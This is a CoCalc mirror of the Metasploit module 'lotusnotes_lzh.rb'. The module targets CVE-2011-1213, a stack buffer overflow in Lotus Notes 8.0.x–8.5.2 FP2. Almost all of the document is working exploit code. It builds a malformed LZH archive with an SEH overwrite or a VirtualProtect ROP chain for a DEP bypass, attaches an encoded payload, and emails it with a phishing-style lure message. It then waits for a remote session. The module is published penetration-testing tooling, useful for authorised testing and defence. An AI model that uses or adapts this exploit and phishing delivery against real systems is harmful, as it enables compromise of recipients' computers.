CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lotus/lotusnotes_lzh.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking # needs client interaction and permanent listener
8
9
#
10
# This module sends email messages via smtp
11
#
12
include Msf::Exploit::Remote::SMTPDeliver
13
include Msf::Exploit::Remote::Seh
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh Attachment)',
18
'Description' => %q{
19
This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when
20
parsing a malformed, specially crafted LZH file. This vulnerability was
21
discovered binaryhouse.net
22
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'binaryhouse.net', # original discovery
28
'alino <26alino[at]gmail.com>', # Metasploit module
29
],
30
'References' =>
31
[
32
['CVE', '2011-1213'],
33
['OSVDB', '72706'],
34
['BID', '48018'],
35
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],
36
['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],
37
],
38
'Stance' => Msf::Exploit::Stance::Passive,
39
'DefaultOptions' =>
40
{
41
'EXITFUNC' => 'process',
42
},
43
'Platform' => ['win'],
44
'Targets' =>
45
[
46
[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',
47
{
48
'Offset' => 6741,
49
'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll
50
}
51
],
52
53
[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',
54
{
55
'Offset' => 6745,
56
'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll
57
}
58
],
59
],
60
'DisclosureDate' => '2011-05-24',
61
'DefaultTarget' => 0))
62
63
register_options(
64
[
65
#
66
# Email options
67
#
68
OptString.new('FILENAME',
69
[false, 'Sets the attachment file name', 'data.lzh']),
70
OptString.new('MESSAGE',
71
[false, 'Email message text', 'Important message, please view attachment!'])
72
])
73
register_advanced_options(
74
[
75
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),
76
OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0])
77
])
78
end
79
80
def exploit
81
82
header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF6
83
header << "\x1a" # 1 byte Header checksum
84
header << "-lh0-" # Method ID (No compression)
85
header << "\x7c\x1a\x00\x00" # Compressed file size
86
header << "\x7c\x1a\x00\x00" # Uncompressed file size
87
header << "\xB2\x5e\xab\x3c" # Original file date/time
88
header << "\x20" # File attribute
89
header << "\x00" # Level identifier
90
header << "\x07" # File name length
91
header << "poc.txt" # File name
92
header << "\x25\x7d" # 16 bit CRC of the uncompressed file
93
94
lzh = header
95
lzh << rand_text(target['Offset'])
96
97
if (target == targets[0])
98
99
lzh << generate_seh_record(target.ret)
100
lzh << make_nops(8)
101
lzh << payload.encoded
102
103
elsif (target == targets[1])
104
105
rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll
106
107
rop_gadgets =
108
[
109
0x60524404, # POP EAX; RETN nnotes.dll
110
0x7c37a140, # VirtualProtect()
111
0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll
112
0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll
113
0x60620001, # POP EBP; RETN nnotes.dll
114
0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll
115
0x7c34280f, # POP EBX; RETN MSVCR71.dll
116
0x00001954, # dwSize
117
0x780ea001, # POP ECX; RETN MSVCP60.dll
118
0x7c38b000, # lpflOldProtect
119
0x60e73200, # POP EDI; RETN nnotes.dll
120
0x60e73201, # RETN nnotes.dll
121
0x601d5f02, # POP EDX; RETN nnotes.dll
122
0x00000040, # flNewProtect
123
0x60524404, # POP EAX; RETN nnotes.dll
124
0x90909090, # NOP
125
0x60820801, # PUSHAD; RETN nnotes.dll
126
].pack("V*")
127
128
lzh << [target.ret].pack('V')
129
lzh[32, rop_nop.length] = rop_nop
130
lzh[220, rop_gadgets.length] = rop_gadgets
131
lzh[289, payload.encoded.length] = payload.encoded
132
end
133
134
name = datastore['FILENAME'] || Rex::Text.rand_text_alpha(rand(10)+1) + ".lzh"
135
data = datastore['MESSAGE'] || Rex::Text.rand_text_alpha(rand(32)+1)
136
137
msg = Rex::MIME::Message.new
138
msg.mime_defaults
139
msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)
140
msg.to = datastore['MAILTO']
141
msg.from = datastore['MAILFROM']
142
143
msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")
144
msg.add_part_attachment(lzh, name)
145
146
send_message(msg.to_s)
147
148
print_status("Waiting for a payload session (backgrounding)...")
149
150
if not datastore['ExitOnSession'] and not job_id
151
fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)")
152
end
153
154
stime = Time.now.to_f
155
print_status "Starting the payload handler..."
156
while(true)
157
break if session_created? and datastore['ExitOnSession']
158
break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) )
159
160
select(nil,nil,nil,1)
161
end
162
end
163
end
164
165